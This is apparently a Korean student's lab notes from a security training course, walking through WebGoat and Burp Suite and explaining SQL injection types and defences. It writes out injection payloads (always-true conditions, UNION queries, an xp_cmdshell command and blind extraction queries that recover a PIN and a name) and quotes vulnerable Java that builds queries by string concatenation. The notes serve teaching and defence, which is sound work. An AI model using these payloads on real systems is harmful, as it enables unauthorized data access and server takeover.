[SK shieldus Rookies 19기][클라우드기반 스마트융합보안] 실습, WebGoat, Burpsuite, SQL Injection

상재후·2024년 3월 24일

WebGoat 실행

  • C:\FullstackLAB\run.bat 실행 후 이클립스에서 Tomcat 서버를 실행

  • http://localhost:8080/WebGoat 접속해서 동작을 확인 ⇒ 사용자 이름 / 비밀번호 : webgoat / webgoat

Burpsuite

  • 대표적인 웹 애플리케이션 보안 테스트 도구로 스캐닝을 포함하여 다양한 유형의 보안 테스트 수행이 가능합니다. 주요 기능 중 하나는 웹 브라우저와 대상 애플리케이션 간의 HTTP/S 트래픽을 가로채고 수정하는 기능입니다. 이를 통해 보안 전문가는 브라우저와 애플리케이션 사이에 전송된 요청과 응답을 검사하고 수정할 수 있습니다. 이는 인젝션 결함, 인증 문제 및 기타 유형의 취약성과 같은 취약성을 식별하는 데 유용할 수 있습니다.

kali에 Burpsuite 적용

  • Burpsuite 실행 후 프록시 설정을 확인 ⇒ Proxy > Proxy settings > Proxy listener가 체크되어 있는지 확인

Firefox 브라우저에 프록시 사용 설정




BurpSuite에서 Interceptor를 설정한 상태에서 Firefox를 이용해 WebGoat 사이트(http://host.pc:8080/WebGoat)로 요청

  • 요청을 인터셉터해서 어떻게 처리할 건지를 물어봄

HTTP History 탭을 통해 요청/응답 과정을 확인 (interceptor는 해제한 상태로 진행)

  • http//host.pc:8080/WebGoat 으로 요청했을 때 리다이렉터 응답(http://host.pc:8080/WebGoat/로 재요청)을 받음

  • http//host.pc:8080/WebGoat/ 으로 요청 ⇒ 디렉터리 리스팅 옵션 확인 후 기본 페이지를 검색 ⇒ 기본 페이지(index.html)를 응답으로 반환 ⇒ index.html 파일 내용에 attack 페이지로 재요청이 포함되어 있음

  • http://host.pc:8080/WebGoat/attack 페이지를 요청 ⇒ attack 파일의 내용(또는 실행 결과)을 응답으로 반환

입력데이터 검증 및 표현

  • 프로그램 입력값에 대한 검증 누락 또는 부적절한 검증, 데이터의 잘못된 형식지정, 일관되지 않은 언어셋 사용 등으로 인해 발생되는 보안약점으로 SQL 삽입, 크로사이트 스크립트(XXS) 등의 공격을 유발할 수 있다.

입력값 검증이 필요한 이유

입력 –--> 처리 –--> 출력

  • 입력
    신뢰할 수 있는 입력 = 믿을 수 있는 곳(안전한 곳)으로 부터 전달된 입력
    ⇒ 예) 시스템 내부의 값
    신뢰할 수 없는 입력 = 믿을 수 없는 곳(안전하지 않은 곳)으로 부터 전달된 입력
    ⇒ 예) 사용자가 입력한 값 (사용자가 잘못 입력하거나 전달 과정에서 변조될 수 있으므로)
  • 처리
    안전한 처리 = (개발자가) 의도한 데로 동작
    안전한 처리를 위해서는 신뢰할 수 있는 입력값을 사용 ,신뢰할 수 없는 입력값을 사용해야 하는 경우, 입력값을 검증, 제한해서 사용

인젝션(Injection, 삽입) 취약점

  • 어떤 처리가 있을 때, 입력값에 처리를 조작할 수 있는 문자열 포함 여부를 확인하지 않고 처리에 사용하는 경우 처리의 구조와 의미가 변형되어 원래 의도했던 처리와 다르게 처리되는 문제점
  • 유형
    SQL Injection ⇐ 입력값이 SQL문을 만들고 실행하는데 사용
    XPath Injection ⇐ 입력값이 XPath 구문을 만들고 실행하는데 사용
    XQuery Injection ⇐ 입력값이 XQuery 구문을 만들고 실행하는데 사용
    Command Injection ⇐ 입력값이 운영체제 명령어 또는 명령어의 일부로 사용
  • 방어
    1) 입력값에 처리를 조작하는 문자열 포함 여부를 확인하고 사용 ⇒ 입력값 검증, 제한
    입력값에 처리를 조작하는 문자열이 포함되어 있는 경우
    a) 오류 처리
    b) 제거하고 사용
    c) 처리를 조작하는 문자열을 일반 문자열로 해석되도록 변경해서 사용 ⇒ 이스케이프 처리
    2) 각 기능에서 제공하는 안전한 방법을 사용 ⇒ 구조를 정의하고 정의된 구조에 입력값을 검증된 기능을 통해서 대입하는 방식으로 구현 ⇒ 구조화된 쿼리 실행, 파라미터화된 쿼리 실행

SQL Injection

  • 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고, 쿼리문(SQL문)을 생성, 실행하는데 사용하는 경우
    원래 의도했던 쿼리의 구조와 내용이 변경되어 실행되는 것

예상되는 문제

  • 권한 밖 DB 데이터에 접근이 가능
  • 쿼리 실행을 통해서 제공되는 기능을 비정상적으로 제공받는 것이 가능 (= 해당 기능을 우회해서 이용하는 것이 가능)
  • 데이터베이스가 동작하는 서버의 제어권을 탈취해 원격에서 해당 서버를 제어하는 것이 가능

History of OWASP TOP 10
( https://www.hahwul.com/cullinan/history-of-owasp-top-10/)

방어 기법

1) 입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용
오류 처리
제거하고 사용
안전한 형태로 변경해서 사용
2) PreparedStatement(Query Parameters)와 같은 구조화된 쿼리 실행(파라미터화된 쿼리 실행)을 보장하는 것을 사용
3) 오류 메시지에 상세한 내용(데이터베이스 및 쿼리 구조, 쿼리 실행과 관련한 프로그램 구조 등)이 포함되지 않도록 처리
4) 어플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼의 최소한으로 부여

3) 4)은 SQL Injection 공격을 완화시키기 위해서 필요한 방어 기법

실습 : Kali 가상머신에서 WebGoat에서 모든 사용자의 계좌 정보가 출력되도록 해보기

  • 입력한 사용자 이름과 일치하는 계좌 정보를 반환해 주는 웹 페이지

정상적인 처리 과정을 유추

  • 정상적인 입력

    Enter your last name: Smith

  • 개발자 도구를 이용해서 서버로 전달되는 내용을 분석

    attack?Screen=34&menu=1100&account_name=Smith&SUBMIT=Go!

  • 위의 account_name=Smith&SUBMIT=Go!이 POST 방식으로 해당 내용은 요청 본문을 통해서 전달되나, 여기에서는 편의를 위해서 GET 방식(주소를 통해서 전달)으로 묘사

  • 요청 파라미터로 전달된 값이 서버에서 어떻게 사용되는지를 유추 ⇒ 아마도 특정 테이블에 데이터를 조회하는 쿼리를 만들고 실행하는데 사용

    SELECT * FROM user_data WHERE last_name = 'Smith'

만약, 입력값이 서버에서 검증 없이 그대로 쿼리를 만드는데 사용된다면, 모든 사용자 데이터를 조회하는 쿼리 형태를 생성

SELECT * FROM user_data WHERE last_name = 'Smith' or 'a' = 'a' <= 항상 참이 되는 조건 추가

사용자 화면에서 쿼리 조작 문자열을 포함해서 요청을 전달

Enter your last name: Smith' or 'a' = 'a

  • 외부 입력값을 쿼리 조작 문자열(' = or) 포함 여부를 확인하지 않고 그대로 쿼리 생성 및 실행에 사용해서 쿼리의 원래 의미(이름이 일치하는 데이터를 조회해서 반환)를 변경(모든 데이터를 조회)해서 실행

실습 : 선택한 지역의 날씨 정보를 제공하는 웹 페이지에서 모든 지역의 날씨 정보가 출력되도록 해보기

  • 정상적인 동작

    Select your local weather station: Columbia 를 선택하면 101이 station 파라미터 값으로 전달

  • 개발자 도구를 이용해서 소스 코드를 분석

    <form accept-charset="UNKNOWN" method="POST" name="form" action="attack?Screen=44&amp;menu=1100" enctype=""><p>Select your local weather station: <select name="station"><option value="101">Columbia</option><option 
  • 서버로 전달되는 값은 아래와 같은 형태로 서버로 전달

    attack?Screen=44&menu=1100&station=101&SUBMIT=Go!

  • 서버에서 요청으로 전달된 값을 아래와 같은 쿼리를 생성하고 실행하는데 사용

    SELECT * FROM weather_data WHERE station = 101

모든 데이터를 조회하는 쿼리를 작성

  • 항상 참이 되는 조건을 추가 (원래 쿼리의 형태를 고려해서 추가해야 함)

    SELECT * FROM weather_data WHERE station = 101 or 1 = 1

조작하는 쿼리를 요청 파라미터로 전달 ⇒ 입력창이 아니므로 값을 직접 입력하는 것이 불가능
  • 방법1. 개발자 도구를 이용해서 선택되었을 때 서버로 전달되는 값을 조작

  • 방법2. Proxy를 이용해서 서버로 전달되기 전에 값을 변경해서 전달

  • 모든 지역의 날씨 데이터가 조회되는 것을 확인

보안기능 결정에 사용되는 부적절한 입력값

  • 응용프래그램이 외부 입력값에 대한 신뢰를 전제로 보호메커니즘을 사용하는 경우 공격자가 입력값을 조작할 수 있다면 보호메커니즘을 우회할 수 있게 된다.
    개발자들이 흔히 쿠키, 환경변수 또는 히든필드와 같은 입력값이 조작될 수 없다고 가정 하지만 공격자는 다양한 방법으로 이러한 입력값들을 변경할 수 있고 조작된 내용은 탐지되지 않을 수 있다. 인증이나 인가와 같은 보안결정이 이런 입력값(쿠키, 환경변수, 히든필드 등)에 기반해 수행되는 경우 공격자는 이런 입력값을 조작하여 응용프로그램의 보안을 우회할 수 있으므로 충분한 암호화, 무결성 체크를 수행하고 이와 같은 메커니즘이 없는 경우엔 외부 사용자에 의한 입력값을 신뢰해서는 안 된다.

SQL 인젝션 유형

select * from members where id = ___ ⇐ 사용자가 입력한 ID와 일치하는 회원 정보를 조회해서 제공

1 에러를 유발하는 입력 ⇒ Error Based SQL Injection

  • 입력값으로 에러를 유발하는 값을 전달

  • 생성된 에러 메시지를 통해서 정보를 수집하고 수집한 정보를 이용해서 추가 공격을 계획

    ' (홑따움표)
    select * from members where id = 123'
    ⇒ ID 컬럼은 숫자형으로 문자열 데이터를 받을 수 없고, 홑따움의 개수가 일치하지 않아서 오류가 발생

    2 항상 참이 되는 입력

  • 쿼리문의 조건식의 결과가 항상 참이 되게 만드는 입력

  • 권한 밖의 데이터에 접근, 조회하는 것이 가능 ⇒ 모든 데이터 조회가 가능

    ____ or 항상참이되는조건 ⇐ 인젝션이 걸리는 컬럼의 데이터 타입에 맞춰 홑따움표를 추가해야 함
    select * from members where id = 123 or 1 = 1 ⇒ members 테이블의 모든 데이터를 조회하는 것이 가능

    3 UNION 구문을 이용 ⇒ Union Based SQL Injection

  • 원래 서비스를 통해서 실행되는 쿼리에 공격자가 알고자 하는 정보를 조회하는 쿼리를 UNION 구문을 이용해서 결합하여 실행

  • 원래 서비스를 통해서 제공되는 정보와 공격자가 알고자 하는 정보가 함께 출력(노출)

select * from members id = 123 ⇒ 정상 입력 → 123 회원의 이름, 나이, 성별, 연락처가 조회되어 출력

select * from members id = 123 and 1 = 2 UNION select 1, 2, 3, 4 from 어떤 테이블 ⇒ 1, 2, 3, 4가 출력
----------------------------------------------------------------------------------------
위의 and 1 = 2 <= 정상 쿼리의 실행 결과가 없도록 만드는 구문
위의 select 1, 2, 3, 4 from 어떤 테이블 <= 공격자가 알고자 하는 정보를 조회하는 쿼리 ⇒ 일반적으로 시스템 테이블을 우선적으로 활용

4 Stored Procedure를 호출하는 입력

  • 데이터베이스에서 제공하는 Stored Procdure를 실행하는 구문을 입력값으로 전달해서 실행

  • 테이터베이스의 제어권을 탈취하는 것이 가능

    select * from members id = 123 ; exec xp_cmdshell 'cmd.exe /c dir'
    ----------------------------------------------------------------------------------------
    위의 ; <= 쿼리문의 종결을 의미
    위의 exec <= Stored Procedure를 실행 일반적으로 시스템 Stored Procedure를 우선적으로 활용
    위의 xp_cmdshell <= MS-SQL에서 제공하는 시스템 Stored Procedure로, 매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환
    위의 'cmd.exe /c dir' <= DBMS의 쉘에서 실행할 명령어 → 현재 디렉터리의 내용을 반환

    5 Blind SQL Injection

  • 쿼리 실행 결과에 따라서 서버의 반응이 달라지는 경우

  • 공격자가 원하는 내용을 조회하는 쿼리를 작성해서 전달하고 실행 결과를 보면서 정보를 수집

[정상적인 실행]
select * from members where id = 123 ⇒ 존재하는 ID인 경우 → ID가 123인 사용자의 정보를 제공

select * from members where id = 999 ⇒ 존재하지 않는 ID인 경우 → 존재하지 않습니다. 메시지를 제공
[공격 가능 여부를 확인]

select * from members where id = 123 and 1 = 1 ⇒ ID가 123인 사용자의 정보를 제공

select * from members where id = 123 and 1 = 2 ⇒ 존재하지 않습니다. 메시지를 제공 [공격자가 알고자 하는 정보를 조회하는 쿼리를 전달]

select * from members where id = 123 and 공격자가 알고자하는 정보를 조회하는 쿼리 ⇒ 사용자 정보가 출력되면, 해당 쿼리가 참이고, 오류 메시지가 출력되면 해당 쿼리가 거짓인 것을 알 수 있음

실습 : Blind Numeric SQL Injection

  • 사용자가 입력한 계좌 번호(Account Number)의 유효성(있다, 없다)를 확인해 주는 웹 페이지 해당 계좌가 존재하는 경우, Account number is valid.를 출력하고, 해당 계좌가 존재하지 않는 경우, Invalid account number.를 출력

    문제는 pins 테이블에서 cc_number 컬럼의 값이 1111222233334444와 일치하는 pin 컬럼의 값을 찾기

    동작을 분석
  • 사용자가 입력한 값은 아래와 같은 형식으로 서버로 전달

    attack?Screen=35&menu=1100&account_number=999&SUBMIT=Go!

    <form accept-charset="UNKNOWN" method="POST" name="form" action="attack?Screen=35&amp;menu=1100" enctype=""><p>Enter your Account Number: <input name="account_number" type="TEXT" value="999"><input name="SUBMIT" type="SUBMIT" value="Go!"></p><p>Invalid account number.</p></form>
  • 서버에서는 요청 파라미터로 전달된 값을 아래와 같은 쿼리를 만들고 실행하는데 사용 (추측)

    select * from accounts where account_number = 999

    ⇒ 일치하는 결과가 있는 경우 → Account number is valid.
    ⇒ 일치하는 결과가 없는 경우 → Invalid account number.

  • 공격자가 알고자 하는 정보를 조회하는 쿼리를 생성 ⇒ 문제의 힌트를 이용 (테이블 이름, 컬럼 이름, 조건)

    select pin from pins where cc_number = '1111222233334444'

  • 공격자가 알고자 하는 정보를 조회하는 쿼리를 원래 서비스 쿼리에 추가

    select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > ???

    select from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > 100
    select
    from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > 1000
    ⇒ 조건을 만족하는 pin 값은 1000 보다 크다

    select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > 5000
    ⇒ 조건을 만족하는 pin 값은 1000 보다 크고 5000 보다 작음

  • 범위를 점점 줄여서 최종적으로 아래 쿼리를 만족하는 숫자를 찾음

    select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') = ????

    select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') = 2364
    ⇒ Account number is valid가 출력

실습 : Blind String SQL Injection

  • pins 테이블에서 cc_number 컬럼의 값이 4321432143214321와 일치하는 name 컬럼의 값을 찾으시오.

  • name컬럼 : 문자열 타입의 데이터를 저장하는 컬럼

    select * from accounts where account_number = 102 and (select name from pins where cc_number = '4321432143214321') = '?????'

    한 글자씩 추출해서 찾음

    select * from accounts where account_number = 102 and (select substr(name, 1, 1) from pins where cc_number = '4321432143214321') = '?'

    select * from accounts where account_number = 102 and (select substr(name, 2, 1) from pins where cc_number = '4321432143214321') = '?'

    효율성을 위해서 이름 데이터의 각 자리를 아스키 코드로 만들어서 범위 연산을 수행

    select * from accounts where account_number = 102 and (select ascii(substr(name, 1, 1)) from pins where cc_number = '4321432143214321') < 46

                                                                   

최종적으로 찾고자 하는 값

select * from accounts where account_number = 102 and (select name from pins where cc_number = '4321432143214321') = 'Jill'

취약한 소스코드 확인

Ctrl + Shift + R (Open Resource, 열려 있는 프로젝트에서 특정 패턴의 파일을 검색해서 열어주는 도구)

String accountNumber = s.getParser().getRawParameter(ACCT_NUM, "101"); <= 요청 파라미터 중 ACCT_NUM 파라미터의 값을 가져와서 반환 만약 파라미터 또는 파라미터의 값이 없는 경우 101을 반환

String query = "SELECT * FROM user_data WHERE userid = " + accountNumber; <= 문자열 결합 방식으로 쿼리를 생성

Statement statement = connection.createStatement( ⇐ Statement 구문을 통해서
ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query); ⇐ 만들어진 쿼리를 그대로 실행

Java의 Statement 객체

  • Statement ⇒ 만들어진 문자열 형태의 쿼리(쿼리 생성 책임이 개발자에게 있음)를 그대로 전달해서 실행
  • PreparedStatement ⇒ 미리 정의한 쿼리 구조에 맞춰서 쿼리를 생성(쿼리 구조 정의는 개발자가 하고, 쿼리 생성은 해당 객체가 책임지고 수행)해서 DB로 전달해서 실행
  • CallableStatement ⇒ DB에 정의되어 있는 Stored Procedure를 호출할 때 사용
profile
sk쉴더스루키즈_19기 상재후

0개의 댓글